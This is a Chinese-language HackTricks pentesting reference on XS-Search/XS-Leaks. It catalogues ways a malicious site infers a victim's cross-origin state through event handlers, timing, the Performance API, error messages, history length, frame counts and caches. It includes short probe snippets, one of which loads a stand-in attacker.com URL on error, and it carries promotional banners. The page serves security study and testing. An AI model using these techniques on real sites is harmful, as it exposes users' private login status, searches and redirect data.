hacktricks/pentesting-web/xs-search.md

75 KiB
Raw Blame History

XS-Search/XS-Leaks

使用 Trickest 可以轻松构建和自动化工作流程,利用全球最先进的社区工具。
立即获取访问权限:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

从零开始学习AWS黑客技术成为专家 htARTEHackTricks AWS Red Team Expert

支持 HackTricks 的其他方式:

基本信息

XS-Search 是一种利用侧信道漏洞来提取跨源信息的方法。

此攻击涉及的关键组件包括:

  • 易受攻击的网站:意图提取信息的目标网站。
  • 攻击者的网站:攻击者创建的恶意网站,受害者访问该网站,托管利用程序。
  • 包含方法用于将易受攻击的网站合并到攻击者的网站中的技术例如window.open、iframe、fetch、带有 href 的 HTML 标签等)。
  • 泄漏技术:用于通过包含方法收集的信息来区分易受攻击的网站状态差异的技术。
  • 状态:攻击者旨在区分易受攻击的网站的两种潜在状态。
  • 可检测的差异:攻击者依赖于推断易受攻击的网站状态的可观察变化。

可检测的差异

可以分析几个方面来区分易受攻击的网站的状态:

  • 状态码:区分跨源的各种 HTTP 响应状态码,如服务器错误、客户端错误或身份验证错误。
  • API 使用:识别页面间Web API 的使用,揭示跨源页面是否使用特定的 JavaScript Web API。
  • 重定向:检测到导航到不同页面,不仅包括 HTTP 重定向,还包括由 JavaScript 或 HTML 触发的导航。
  • 页面内容:观察HTTP 响应主体或页面子资源的变化,例如嵌入帧的数量或图像大小的差异。
  • HTTP 标头:注意特定 HTTP 响应标头的存在或可能的值,包括诸如 X-Frame-Options、Content-Disposition 和 Cross-Origin-Resource-Policy 等标头。
  • 时间:注意两种状态之间的一致时间差异。

包含方法

  • HTML 元素HTML 提供各种元素用于包含跨源资源,如样式表、图像或脚本,迫使浏览器请求非 HTML 资源。可在 https://github.com/cure53/HTTPLeaks 找到此类目的潜在 HTML 元素的汇编。
  • 框架:诸如 iframeobjectembed 等元素可以直接将 HTML 资源嵌入到攻击者的页面中。如果页面缺乏框架保护JavaScript 可以通过 contentWindow 属性访问嵌入资源的 window 对象。
  • 弹出窗口window.open 方法在新标签页或窗口中打开资源,为 JavaScript 提供与 SOP 遵循后的方法和属性交互的窗口句柄。弹出窗口通常用于单点登录,绕过目标资源的框架和 cookie 限制。但是,现代浏览器限制弹出窗口的创建到某些用户操作。
  • JavaScript 请求JavaScript 允许使用 XMLHttpRequestsFetch API 直接请求目标资源。这些方法提供对请求的精确控制,例如选择是否跟随 HTTP 重定向。

泄漏技术

  • 事件处理程序:在 XS-Leaks 中的一个经典泄漏技术,其中事件处理程序如 onloadonerror 提供有关资源加载成功或失败的见解。
  • 错误消息JavaScript 异常或特殊错误页面可以直接提供泄漏信息,或通过区分错误消息的存在与不存在来提供信息。
  • 全局限制:浏览器的物理限制,如内存容量或其他强制执行的浏览器限制,可以在达到阈值时发出信号,作为泄漏技术。
  • 全局状态:可以利用与浏览器的全局状态(例如 History 接口)的可检测交互。例如,浏览器历史记录中的条目数量可以提供有关跨源页面的线索。
  • 性能 API:此 API 提供当前页面的性能详细信息,包括文档和加载资源的网络时间,从而推断请求的资源。
  • 可读属性:某些 HTML 属性是跨源可读的,可用作泄漏技术。例如,window.frame.length 属性允许 JavaScript 计算跨源网页中包含的帧数。

XSinator 工具和论文

XSinator 是一个自动工具,用于检查浏览器是否受到几种已知 XS-Leaks 的影响,其在论文中有详细解释:https://xsinator.com/paper.pdf

您可以在 https://xsinator.com/ 访问该工具

{% hint style="warning" %} 排除的 XS-Leaks:我们不得不排除依赖服务工作者的 XS-Leaks因为它们会干扰 XSinator 中的其他泄漏。此外,我们选择排除依赖特定 Web 应用程序中的配置错误和漏洞的 XS-Leaks。例如跨源资源共享CORS配置错误、postMessage 泄漏或跨站脚本。此外,我们排除了基于时间的 XS-Leaks因为它们经常受到速度慢、嘈杂和不准确的影响。 {% endhint %}


使用 Trickest 可以轻松构建和自动化工作流程,利用全球最先进的社区工具。
立即获取访问权限:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

基于时间的技术

以下一些技术将使用时间作为检测网页可能状态差异的过程的一部分。在Web浏览器中有不同的方法来测量时间。

时钟performance.now() API允许开发人员获取高分辨率的时间测量。
攻击者可以滥用大量API来创建隐式时钟Broadcast Channel API, Message Channel API, requestAnimationFrame, setTimeout, CSS动画等。
更多信息:https://xsleaks.dev/docs/attacks/timing-attacks/clocks.

事件处理程序技术

Onload/Onerror

{% content-ref url="xs-search/cookie-bomb-+-onerror-xs-leak.md" %} cookie-bomb-+-onerror-xs-leak.md {% endcontent-ref %}

代码示例尝试从JS中加载脚本对象但也可以使用其他标签如对象、样式表、图像、音频。此外还可以直接注入标签并在标签内部声明onloadonerror事件而不是从JS中注入

这种攻击还有一个无需脚本的版本:

<object data="//example.com/404">
<object data="//attacker.com/?error"></object>
</object>

在这种情况下,如果example.com/404未找到,将加载attacker.com/?error

Onload Timing

{% content-ref url="xs-search/performance.now-example.md" %} performance.now-example.md {% endcontent-ref %}

Onload Timing + Forced Heavy Task

这种技术与前一种类似,但攻击者还将在答案为正或负时强制执行某些操作以花费相关的时间,并测量该时间。

{% content-ref url="xs-search/performance.now-+-force-heavy-task.md" %} performance.now-+-force-heavy-task.md {% endcontent-ref %}

unload/beforeunload Timing

通过利用unloadbeforeunload事件,可以测量获取资源所需的时间。**beforeunload事件在浏览器即将导航到新页面时触发,而unload**事件发生在实际导航时。可以计算这两个事件之间的时间差来确定浏览器获取资源所花费的时间。

Sandboxed Frame Timing + onload

观察到,在缺乏框架保护的情况下攻击者可以测量页面及其子资源通过网络加载所需的时间。这通常是可能的因为仅当iframe的onload处理程序在资源加载和JavaScript执行完成后才会触发。为了绕过脚本执行引入的变化攻击者可能会在<iframe>内使用sandbox属性。包含此属性会限制许多功能特别是JavaScript的执行从而促进主要受网络性能影响的测量。

// Example of an iframe with the sandbox attribute
<iframe src="example.html" sandbox></iframe>

#ID + error + onload

  • 包含方法: 框架
  • 可检测差异: 页面内容
  • 更多信息:
  • 摘要: 如果您可以使页面在访问正确内容时出现错误,并在访问任何内容时正确加载,那么您可以创建一个循环来提取所有信息,而无需测量时间。
  • 代码示例:

假设您可以插入包含秘密内容页面一个iframe中。

您可以让受害者搜索包含“flag”的文件,使用一个iframe例如利用CSRF。在iframe内您知道**onload事件至少执行一次**。然后您可以通过仅更改URL中的哈希内容来更改iframe的URL

例如:

  1. URL1: www.attacker.com/xssearch#try1
  2. URL2: www.attacker.com/xssearch#try2

如果第一个URL成功加载,那么当更改URL的哈希部分时,onload事件不会再次触发。但是,如果页面在加载时出现了某种错误,那么**onload事件将再次触发**。

然后,您可以区分一个正确加载的页面或访问时出现错误的页面。

Javascript执行

  • 包含方法: 框架
  • 可检测差异: 页面内容
  • 更多信息:
  • 摘要: 如果页面返回敏感内容,或者用户可以控制内容。用户可以在负面情况下设置有效的JS代码,并在**<script>标签内加载每次尝试,因此在负面情况下,攻击者的代码将被执行**,而在肯定情况下不会执行任何操作。
  • 代码示例:

{% content-ref url="xs-search/javascript-execution-xs-leak.md" %} javascript-execution-xs-leak.md {% endcontent-ref %}

CORB - Onerror

  • 包含方法: HTML元素
  • 可检测差异: 状态码和标头
  • 更多信息: https://xsleaks.dev/docs/attacks/browser-features/corb/
  • 摘要: 跨源读取阻止CORB是一项安全措施,防止网页加载某些敏感的跨源资源,以防止Spectre等攻击。然而,攻击者可以利用其保护行为。当受CORB保护的响应返回一个带有nosniff2xx状态码的_CORB受保护_Content-Type时,CORB会剥离响应的主体和标头。观察到这一点的攻击者可以推断状态码(指示成功或错误)和Content-Type(表示是否受CORB保护)的组合,从而导致潜在的信息泄漏。
  • 代码示例:

查看更多信息链接以获取有关攻击的更多信息。

onblur

可以在iframe内加载页面,并使用**#id_value使页面聚焦于iframe中的元素**,如果触发了**onblur信号则ID元素存在。
您可以使用
portal**标签执行相同的攻击。

postMessage广播

  • 包含方法: 框架,弹出窗口
  • 可检测差异: API使用
  • 更多信息: https://xsleaks.dev/docs/attacks/postmessage-broadcasts/
  • 摘要: 从postMessage中收集敏感信息或使用postMessages的存在作为一个预言机了解用户在页面中的状态
  • 代码示例: 任何监听所有postMessages的代码。

应用程序经常使用postMessage广播在不同源之间进行通信。然而,如果未正确指定targetOrigin参数,此方法可能无意中暴露敏感信息,允许任何窗口接收消息。此外,接收消息本身可以充当预言机;例如,某些消息可能仅发送给已登录的用户。因此,这些消息的存在或不存在可以揭示有关用户状态或身份的信息,例如他们是否已经认证。

使用Trickest可以轻松构建和自动化工作流,使用全球最先进的社区工具。
立即获取访问权限:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

全局限制技术

WebSocket API

可以确定目标页面使用多少个WebSocket连接。这使得攻击者可以检测应用程序状态并泄漏与WebSocket连接数量相关的信息。

如果一个使用了最大数量的WebSocket连接对象,无论它们的连接状态如何,创建新对象将导致JavaScript异常。为执行此攻击攻击者网站在弹出窗口或iframe中打开目标网站然后在目标网站加载完成后尝试创建尽可能多的WebSocket连接。抛出的异常数量就是目标网站窗口使用的WebSocket连接数量

支付 API

这种 XS-Leak 使攻击者能够检测跨源页面发起支付请求

由于一次只能有一个请求支付处于活动状态,如果目标网站正在使用支付请求 API任何进一步尝试使用此 API 的尝试都将失败,并导致JavaScript 异常。攻击者可以通过定期尝试显示支付 API UI来利用这一点。如果一次尝试导致异常,表示目标网站当前正在使用它。攻击者可以通过在创建后立即关闭 UI 来隐藏这些定期尝试。

计时事件循环

{% content-ref url="xs-search/event-loop-blocking-+-lazy-images.md" %} event-loop-blocking-+-lazy-images.md {% endcontent-ref %}

JavaScript 在单线程事件循环并发模型上运行,这意味着一次只能执行一个任务。这个特性可以被利用来衡量来自不同源的代码执行所需的时间。攻击者可以通过连续分派具有固定属性的事件来测量他们自己代码在事件循环中的执行时间。这些事件将在事件池为空时被处理。如果其他源也在向同一池中分派事件,攻击者可以通过观察自己任务执行的延迟来推断外部事件执行所需的时间。通过监视延迟来检测事件循环中的延迟,可以揭示来自不同源代码的执行时间,可能暴露敏感信息。

{% hint style="warning" %} 在执行计时中,可以消除 网络因素以获得更精确的测量。例如,在加载页面之前加载页面使用的资源。 {% endhint %}

繁忙事件循环

  • 包含方法:
  • 可检测差异: 计时(通常由页面内容、状态码引起)
  • 更多信息: https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#busy-event-loop
  • 摘要: 一种测量网页操作执行时间的方法是故意阻塞线程的事件循环,然后计时事件循环何时再次可用。通过在事件循环中插入阻塞操作(如长时间计算或同步 API 调用),并监视后续代码开始执行所需的时间,可以推断在阻塞期间执行的任务的持续时间。这种技术利用了 JavaScript 事件循环的单线程特性,其中任务按顺序执行,并可以提供关于共享线程的其他操作性能或行为的见解。
  • 代码示例:

通过锁定事件循环来测量执行时间的技术的一个重要优势是其潜力可以规避站点隔离站点隔离是一种安全功能,将不同网站分隔到单独的进程中,旨在防止恶意网站直接访问其他网站的敏感数据。然而,通过通过共享事件循环影响另一个源的执行时间,攻击者可以间接提取关于该源活动的信息。这种方法不依赖于直接访问其他源数据,而是观察该源活动对共享事件循环的影响,从而规避了站点隔离建立的保护屏障。

{% hint style="warning" %} 在执行计时中,可以消除 网络因素以获得更精确的测量。例如,在加载页面之前加载页面使用的资源。 {% endhint %}

连接池

  • 包含方法: JavaScript 请求
  • 可检测差异: 计时(通常由页面内容、状态码引起)
  • 更多信息: https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/
  • 摘要: 攻击者可以锁定除 1 外的所有套接字,加载目标网页,同时加载另一页,直到最后一页开始加载的时间是目标页面加载所需的时间。
  • 代码示例:

{% content-ref url="xs-search/connection-pool-example.md" %} connection-pool-example.md {% endcontent-ref %}

浏览器利用套接字进行服务器通信,但由于操作系统和硬件资源有限,浏览器被迫对并发套接字数量施加限制。攻击者可以通过以下步骤利用这种限制:

  1. 确定浏览器的套接字限制例如256 个全局套接字。
  2. 通过向各个主机发起 255 个请求来占用 255 个套接字一段时间,这些请求旨在保持连接打开而不完成。
  3. 使用第 256 个套接字向目标页面发送请求。
  4. 尝试向另一个主机发送第 257 个请求。由于所有套接字都在使用中(根据步骤 2 和 3此请求将排队等待直到套接字可用。在此请求继续之前的延迟为攻击者提供了有关与第 256 个套接字相关的网络活动的时间信息(目标页面的套接字)。这种推断是可能的,因为步骤 2 中的 255 个套接字仍在使用中,这意味着任何新可用的套接字必须是从步骤 3 释放的套接字。第 256 个套接字变为可用所需的时间直接与请求完成目标页面所需的时间相关联。

了解更多信息:https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/

按目标的连接池

  • 包含方法: JavaScript 请求
  • 可检测差异: 计时(通常由页面内容、状态码引起)
  • 更多信息:
  • 摘要: 这类似于前一种技术但不是使用所有套接字Google Chrome 将同一源的并发请求限制为 6 个。如果我们阻塞 5 个,然后发起第 6 个请求,我们可以计时它,如果我们设法使受害页面发送更多请求到同一端点以检测页面的状态第 6 个请求花费更长时间,我们可以检测到。

性能API技术

性能API 提供了有关Web应用性能指标的见解进一步由资源定时API丰富。资源定时API使监控详细的网络请求时间成为可能例如请求的持续时间。值得注意的是当服务器在其响应中包含 Timing-Allow-Origin: * 头时,将提供额外的数据,如传输大小和域查找时间。

这些丰富的数据可以通过诸如performance.getEntriesperformance.getEntriesByName等方法检索提供了性能相关信息的全面视图。此外该API通过计算从performance.now()获得的时间戳之间的差异便于测量执行时间。然而值得注意的是对于Chrome等浏览器中的某些操作performance.now() 的精度可能仅限于毫秒,这可能会影响时间测量的粒度。

除了时间测量之外性能API还可用于安全相关见解。例如在Chrome中performance 对象中页面的存在或不存在可以指示 X-Frame-Options 的应用。具体来说,如果由于 X-Frame-Options 而阻止页面在框架中呈现,则该页面将不会记录在 performance 对象中,为页面的框架策略提供了微妙的线索。

错误泄漏

可以区分HTTP响应状态码,因为导致错误的请求不会创建性能条目

样式重新加载错误

在先前的技术中还确定了两种情况即GC中的浏览器错误导致加载失败时资源加载两次。这将导致性能API中的多个条目因此可以检测到。

请求合并错误

在提到的论文中找到了该技术,但未在其中找到该技术的描述。但是,您可以在https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak中找到检查该技术的源代码。

空白页面泄漏

攻击者可以检测请求是否导致空的HTTP响应主体因为某些浏览器中的空白页面不会创建性能条目

XSS审计泄漏

在安全断言SAXSS审计器最初旨在防止跨站脚本XSS攻击但却可以被利用来泄漏敏感信息。尽管这一内置功能已从Google ChromeGC中移除但仍存在于SA中。2013年Braun和Heiderich证明XSS审计器可能无意中阻止合法脚本导致误报。基于此研究人员开发了提取信息和检测跨源页面上特定内容的技术这一概念称为XS-Leaks最初由Terada报告由Heyes在博客文章中详细说明。尽管这些技术特定于GC中的XSS审计器但发现在SA中被XSS审计器阻止的页面不会在性能API中生成条目揭示了一种仍然可能泄漏敏感信息的方法。

X-Frame泄漏

如果页面不允许iframe呈现,则不会创建性能条目。因此,攻击者可以检测响应头部**X-Frame-Options
如果使用
嵌入** 标签,情况也是一样的。

下载检测

类似于所描述的XS-Leak由于ContentDisposition头部而下载的资源不会创建性能条目。这种技术适用于所有主要浏览器。

重定向开始泄漏

我们发现了一个滥用某些浏览器行为的 XS-Leak 实例,这些浏览器为跨源请求记录了过多信息。标准定义了一组应该为跨源资源设置为零的属性。然而,在 SA 中,可以通过查询 Performance API 并检查 redirectStart 时间数据 来检测用户是否被目标页面 重定向

重定向持续时间泄漏

在 GC 中,导致 重定向 的请求的 持续时间负数,因此可以与不导致重定向的请求区分开来。

CORP 泄漏

在某些情况下,nextHopProtocol 记录 可以用作泄漏技术。在 GC 中,当设置了 CORP 头部nextHopProtocol 将为空。请注意,对于启用 CORP 的资源SA 将不会创建任何性能记录。

服务工作者

服务工作者是以事件驱动的脚本上下文,在一个来源上运行。它们在网页的后台运行,可以拦截、修改和 缓存资源 以创建离线网络应用。
如果通过 iframe 访问了由 服务工作者 缓存的 资源,则该资源将从服务工作者缓存中 加载
要检测资源是否从服务工作者缓存中 加载,可以使用 Performance API
这也可以通过定时攻击来实现(查看论文获取更多信息)。

缓存

使用 Performance API 可以检查资源是否已缓存。

网络持续时间

错误消息技术

媒体错误

// Code saved here in case it dissapear from the link
// Based on MDN MediaError example: https://mdn.github.io/dom-examples/media/mediaerror/
window.addEventListener("load", startup, false);
function displayErrorMessage(msg) {
document.getElementById("log").innerHTML += msg;
}

function startup() {
let audioElement = document.getElementById("audio");
// "https://mdn.github.io/dom-examples/media/mediaerror/assets/good.mp3";
document.getElementById("startTest").addEventListener("click", function() {
audioElement.src = document.getElementById("testUrl").value;
}, false);
// Create the event handler
var errHandler = function() {
let err = this.error;
let message = err.message;
let status = "";

// Chrome error.message when the request loads successfully: "DEMUXER_ERROR_COULD_NOT_OPEN: FFmpegDemuxer: open context failed"
// Firefox error.message when the request loads successfully: "Failed to init decoder"
if((message.indexOf("DEMUXER_ERROR_COULD_NOT_OPEN") != -1) || (message.indexOf("Failed to init decoder") != -1)){
status = "Success";
}else{
status = "Error";
}
displayErrorMessage("<strong>Status: " + status + "</strong> (Error code:" + err.code + " / Error Message: " + err.message + ")<br>");
};
audioElement.onerror = errHandler;
}

CORS错误

这种技术使攻击者能够通过利用基于Webkit的浏览器处理CORS请求的方式提取跨源站点重定向的目标。具体来说,当向发出基于用户状态的重定向的目标站点发送启用CORS的请求,并且浏览器随后拒绝该请求时,错误消息中会披露重定向目标的完整URL。这种漏洞不仅揭示了重定向的事实,还暴露了重定向的端点以及可能包含的任何敏感查询参数

SRI错误

攻击者可以利用冗长的错误消息推断跨源响应的大小。这是由于子资源完整性SRI的机制它使用完整性属性验证从CDN等地方获取的资源是否被篡改。为了使SRI在跨源资源上起作用这些资源必须是启用CORS的否则它们不会受到完整性检查。在安全断言SA就像CORS错误XS-Leak一样可以在带有完整性属性的fetch请求失败后捕获错误消息。攻击者可以通过向完整性属性分配虚假哈希值来故意触发此错误。在SA中由此产生的错误消息无意中揭示了所请求资源的内容长度。这种信息泄漏使攻击者能够辨别响应大小的变化为复杂的XS-Leak攻击铺平了道路。

CSP违规/检测

XS-Leak可以使用CSP检测跨源站点是否被重定向到不同的源。此泄漏可以检测重定向但另外重定向目标的域也会泄漏。这种攻击的基本思想是在攻击者站点上允许目标域。一旦向目标域发出请求,它重定向到一个跨源域。CSP阻止对其的访问并创建用作泄漏技术的违规报告。根据浏览器的不同,此报告可能会泄露重定向的目标位置
现代浏览器不会指示重定向到的URL但您仍然可以检测到触发了跨源重定向。

缓存

浏览器可能为所有网站使用一个共享缓存。无论其来源如何,都可以推断目标页面是否请求了特定文件

如果页面仅在用户登录时加载图像,您可以使资源无效(因此如果已缓存,则不再缓存,请参阅更多信息链接),执行可能加载该资源的请求,并尝试使用错误请求加载资源(例如使用过长的引用者标头)。如果资源加载没有触发任何错误,那是因为它被缓存了。

CSP指令

Google ChromeGC中的一项新功能允许网页通过在iframe元素上设置属性来提出内容安全策略CSP并随HTTP请求传输策略指令。通常嵌入内容必须通过HTTP标头授权,否则将显示错误页面。但是如果iframe已经受CSP控制并且新提出的策略不比原来更严格页面将正常加载。这种机制为攻击者提供了一种途径可以通过识别错误页面检测跨源页面的特定CSP指令。尽管此漏洞被标记为已修复,但我们的发现揭示了一种新的泄漏技术,能够检测错误页面,表明根本问题从未完全解决。

CORP

CORP标头是一个相对较新的Web平台安全功能当设置时阻止不允许的来源的no-cors跨源请求访问给定资源。可以检测到标头的存在因为受CORP保护的资源在获取时会引发错误

CORB

查看链接以获取有关攻击的更多信息。

CORS 错误的 Origin Reflection 配置错误

如果 Origin 头部Access-Control-Allow-Origin 头部中 反射,攻击者可以利用这种行为尝试以 CORS 模式 获取 资源。如果没有触发 错误,表示它已经 正确从网络中检索,如果触发了错误,则表示它是从缓存中 访问的(错误出现是因为缓存保存了带有允许原始域而不是攻击者域的 CORS 头部的响应)。
请注意,如果 Origin 没有反射,而是使用通配符(Access-Control-Allow-Origin: *),这种方法将不起作用。

可读属性技术

Fetch 重定向

使用 Fetch API 提交请求时,使用 redirect: "manual" 和其他参数,可以读取 response.type 属性,如果等于 opaqueredirect,则响应是一个重定向。

COOP

攻击者能够推断跨域 HTTP 响应中是否存在跨域打开策略COOP头部。Web 应用程序使用 COOP 阻止外部站点获取任意窗口引用。可以通过尝试访问 contentWindow 引用 来识别此头部的可见性。在条件应用 COOP 的情况下,opener 属性 成为一个显著的指标:当 COOP 激活时,它是 未定义 的,而在其缺席时是 已定义 的。

URL 最大长度 - 服务器端

如果服务器端重定向使用了 重定向中的用户输入额外数据。可以检测到这种行为,因为通常 服务器 有一个 限制请求长度。如果 用户数据 达到该长度减 1因为 重定向 使用了 该数据添加 了一些 额外内容,将触发一个 通过错误事件可检测的错误

如果您可以向用户设置 cookie还可以通过 设置足够的 cookiecookie 炸弹)来执行此攻击,因此通过 增加响应的大小 触发错误。在这种情况下,请记住,如果您从同一站点触发此请求,<script> 将自动发送 cookie因此您可以检查错误
在这种情况下,cookie 炸弹 + XS-Search 的示例可以在此写作的预期解决方案中找到:https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#intended

通常需要 SameSite=None 或处于相同上下文中才能进行此类攻击。

URL 最大长度 - 客户端

根据 Chromium 文档Chrome 的最大 URL 长度为 2MB。

一般来说,web 平台 对 URL 的长度没有限制(尽管 2^31 是一个常见限制)。Chrome 限制 URL 的最大长度为 2MB,出于实际原因和避免在进程间通信中引起拒绝服务问题的考虑。

因此,如果在某种情况下,重定向 URL 的响应 较大,可以使其重定向的 URL 大于 2MB 以达到 长度限制。当发生这种情况时Chrome 显示一个 about:blank#blocked 页面。

显著的差异 是,如果 重定向 已经 完成window.origin 会抛出一个 错误,因为跨域无法访问该信息。但是,如果 达到了限制 并且加载的页面是 about:blank#blocked,窗口的 origin 仍然是 父级 的,这是一个 可访问的信息

要达到 2MB 所需的所有额外信息可以通过初始 URL 中的 哈希 添加,因此它将在重定向中 使用

{% content-ref url="xs-search/url-max-length-client-side.md" %} url-max-length-client-side.md {% endcontent-ref %}

最大重定向次数

如果浏览器的最大重定向次数为 20攻击者可以尝试加载他的页面进行 19 次重定向,最终将受害者发送到被测试的页面。如果触发了错误,则页面尝试重定向受害者。

历史记录长度

历史 API 允许 JavaScript 代码操纵浏览器历史记录,这保存了用户访问的页面。攻击者可以使用长度属性作为包含方法:检测 JavaScript 和 HTML 导航。
检查 history.length,让用户导航到一个页面,将其改回同源,并检查 history.length 的新值。

具有相同 URL 的历史记录长度

  • 包含方法Frames, Pop-ups
  • 可检测差异:如果 URL 与猜测的 URL 相同
  • 摘要:可以通过滥用历史记录长度来猜测框架/弹出窗口的位置是否在特定 URL 中。
  • 代码示例:如下

攻击者可以使用 JavaScript 代码将框架/弹出窗口位置操纵到一个猜测的 URL并立即将其更改为 about:blank。如果历史记录长度增加,则意味着 URL 正确,并且有时间增加,因为如果 URL 相同,则不会重新加载。如果长度没有增加,则意味着它尝试加载猜测的 URL但因为我们立即加载了 about:blank,当加载猜测的 URL 时,历史记录长度从未增加。

async function debug(win, url) {
win.location = url + '#aaa';
win.location = 'about:blank';
await new Promise(r => setTimeout(r, 500));
return win.history.length;
}

win = window.open("https://example.com/?a=b");
await new Promise(r => setTimeout(r, 2000));
console.log(await debug(win, "https://example.com/?a=c"));

win.close();
win = window.open("https://example.com/?a=b");
await new Promise(r => setTimeout(r, 2000));
console.log(await debug(win, "https://example.com/?a=b"));

帧计数

通过 iframewindow.open 打开的网页中帧的数量可能有助于识别用户在该页面上的状态
此外,如果页面始终具有相同数量的帧,持续检查帧的数量可能有助于识别可能泄露信息的模式

这种技术的一个示例是,在 Chrome 中,可以通过帧计数检测 PDF,因为内部使用了 embed。存在一些打开 URL 参数,允许对内容进行一些控制,如 zoomviewpagetoolbar,这种技术可能会很有趣。

HTMLElements

通过 HTML 元素泄露信息在 Web 安全中是一个问题,特别是当基于用户信息生成动态媒体文件,或者添加水印以改变媒体大小时。攻击者可以利用这一点,通过分析某些 HTML 元素暴露的信息来区分可能的状态。

HTML 元素泄露的信息

  • HTMLMediaElement: 此元素显示媒体的 durationbuffered 时间,可以通过其 API 访问。了解更多关于 HTMLMediaElement
  • HTMLVideoElement: 它公开 videoHeightvideoWidth。在某些浏览器中,还提供了额外的属性,如 webkitVideoDecodedByteCountwebkitAudioDecodedByteCountwebkitDecodedFrameCount,提供了有关媒体内容的更深入信息。了解更多关于 HTMLVideoElement
  • getVideoPlaybackQuality(): 此函数提供有关视频播放质量的详细信息,包括 totalVideoFrames,可以指示处理的视频数据量。了解更多关于 getVideoPlaybackQuality()
  • HTMLImageElement: 此元素泄露图像的 heightwidth。但是,如果图像无效,这些属性将返回 0并且 image.decode() 函数将被拒绝,表示未能正确加载图像。了解更多关于 HTMLImageElement

CSS 属性

Web 应用程序可能根据用户状态更改网站样式。跨域 CSS 文件可以通过HTML 链接元素嵌入到攻击者页面中,并且这些规则将被应用到攻击者页面上。如果页面动态更改这些规则,攻击者可以根据用户状态检测这些差异
作为一种泄漏技术,攻击者可以使用 window.getComputedStyle 方法来读取特定 HTML 元素的 CSS 属性。因此,如果已知受影响的元素和属性名称,攻击者可以读取任意 CSS 属性。

CSS 历史

{% hint style="info" %} 根据,在无头 Chrome 中无效。 {% endhint %}

CSS :visited 选择器用于在用户先前访问过的情况下以不同样式显示 URL。过去getComputedStyle() 方法可用于识别这些样式差异。然而,现代浏览器已经实施了安全措施,防止此方法揭示链接状态。这些措施包括始终返回计算样式,就像链接已被访问一样,并限制可以使用 :visited 选择器应用的样式。

尽管存在这些限制,仍然可以间接地辨别链接的访问状态。一种技术涉及欺骗用户与受 CSS 影响的区域进行交互,特别是利用 mix-blend-mode 属性。此属性允许元素与其背景混合,根据用户交互可能显示已访问状态。

此外,可以通过利用链接的渲染时间来实现无需用户交互的检测。由于浏览器可能以不同方式渲染已访问和未访问的链接,这可能导致渲染中的可测时间差异。在 Chromium 缺陷报告中提到了一个概念验证PoC演示了使用多个链接放大时间差异的技术从而通过时间分析使已访问状态可检测。

有关这些属性和方法的更多详细信息,请访问它们的文档页面:

ContentDocument X-Frame Leak

在Chrome中如果页面的X-Frame-Options头设置为"deny"或"same-origin"并作为对象嵌入将显示错误页面。与在iframes或其他浏览器中不同Chrome为此对象的contentDocument属性返回一个空文档对象(而不是null。攻击者可以利用这一点检测空文档可能揭示有关用户状态的信息尤其是如果开发人员不一致地设置X-Frame-Options头经常忽视错误页面。意识到并一致应用安全头部对于防止此类泄漏至关重要。

Download Detection

特别是Content-Disposition: attachment头指示浏览器下载内容而不是内联显示。这种行为可以被利用来检测用户是否可以访问触发文件下载的页面。在基于Chromium的浏览器中有几种技术可以检测此下载行为

  1. 下载栏监控
  • 当在基于Chromium的浏览器中下载文件时下载栏会出现在浏览器窗口底部。
  • 通过监控窗口高度的变化,攻击者可以推断下载栏的出现,表明已启动下载。
  1. 使用iframes进行下载导航
  • 当页面使用Content-Disposition: attachment头触发文件下载时,不会导致导航事件。
  • 通过在iframe中加载内容并监控导航事件可以检查内容设置是否导致文件下载无导航
  1. 不使用iframes进行下载导航
  • 类似于iframe技术此方法涉及使用window.open而不是iframe。
  • 监控新打开窗口中的导航事件可以揭示文件下载是否被触发(无导航)或内容是否内联显示(发生导航)。

在只有已登录用户可以触发此类下载的情况下,这些技术可用于间接推断用户的身份验证状态,根据浏览器对下载请求的响应。

Partitioned HTTP Cache Bypass

{% hint style="warning" %} 这就是这种技术有趣的原因Chrome现在具有缓存分区,新打开页面的缓存键是:(https://actf.co, https://actf.co, https://sustenance.web.actf.co/?m=xxx)但如果我打开一个ngrok页面并在其中使用fetch缓存键将是(https://myip.ngrok.io, https://myip.ngrok.io, https://sustenance.web.actf.co/?m=xxx)缓存键不同,因此无法共享缓存。您可以在这里找到更多详细信息:通过分区缓存获得安全性和隐私性
(来自这里 {% endhint %}

如果站点example.com包含来自*.example.com/resource的资源,则该资源将与直接通过顶级导航请求资源具有相同的缓存键。这是因为缓存键由顶级_eTLD+1_和frame _eTLD+1_组成。

由于访问缓存比加载资源更快可以尝试更改页面的位置并在停止后取消20毫秒例如。如果停止后更改了来源则表示资源已被缓存。
或者只需向可能已缓存的页面发送一些fetch并测量加载所需的时间

手动重定向

使用AbortController的Fetch

使用_fetch_和_setTimeout_与_AbortController_来检测资源是否已缓存并从浏览器缓存中清除特定资源。此外该过程在不缓存新内容的情况下进行。

脚本污染

服务工作者

在给定的场景中,攻击者主动注册一个服务工作者在他们的一个域中,具体来说是"attacker.com"。接下来,攻击者从主文档中打开目标网站的一个新窗口,并指示服务工作者启动计时器。当新窗口开始加载时,攻击者导航到在前一步骤中获得的引用,该引用由服务工作者管理的页面。

在前一步骤中发起的请求到达时,服务工作者以**204无内容**状态码做出响应,有效地终止导航过程。此时,服务工作者从前一步骤中启动的计时器中捕获一个测量值。这个测量值受到导航过程中由JavaScript引起的延迟持续时间的影响。

{% hint style="warning" %} 在执行时间中,可以消除 网络因素以获得更精确的测量。例如,通过在加载页面之前加载页面使用的资源。 {% endhint %}

获取时间

跨窗口时间


使用Trickest可以轻松构建和自动化工作流,使用世界上最先进的社区工具。
立即获取访问权限:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

使用HTML或重新注入

在这里您可以找到从跨源HTML中窃取信息的技术注入HTML内容。在某些情况下,您可以注入HTML但无法注入JS代码,这些技术非常有趣。

悬挂标记

{% content-ref url="dangling-markup-html-scriptless-injection/" %} dangling-markup-html-scriptless-injection {% endcontent-ref %}

图像延迟加载

如果您需要窃取内容并且可以在秘密之前添加HTML,您应该检查常见的悬挂标记技术
但是,如果出于任何原因您必须逐个字符执行(也许通信是通过缓存命中),您可以使用这个技巧。

